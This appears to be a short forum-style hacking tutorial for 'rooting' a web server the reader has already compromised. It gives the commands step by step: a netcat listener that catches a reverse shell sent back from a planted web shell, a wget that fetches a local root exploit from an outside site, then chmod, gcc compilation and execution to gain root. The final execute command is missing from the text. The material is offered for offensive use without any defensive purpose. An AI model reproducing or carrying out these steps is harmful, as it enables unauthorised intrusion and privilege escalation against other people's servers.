Things You required before starting :

Net Cat:

Local root exploit:

Shell on the same server.

First of all open the Net Cat and Type -lnvp 443 ( You can use 2121 port also ) now go to your shell>network
Now in the Server there will be a Back connect in the IP address leave it as it is .. and in the port you can type 443 or 2121 as you have typed in the net cat....
Now after this hit enter you will see that site is back connected with Your Netcat...
Now next command is wget here you have to give the link of the local root exploit as per the version of the server... You can get the local root exploits in the
So our command will look like
wget www.yoursitelink/exploit.c
Now it will download the exploit from that server to this one.. now you have to change the permission of the exploit.
For that we will use:-
chmod 777 exploit.c
Now it will change the exploit permission now we have to compile the exploit for that we will use
gcc exploit.c -o exploit
now our exploit has been compiled now final step to r00t it. For execute your exploit type :-
And server rooted!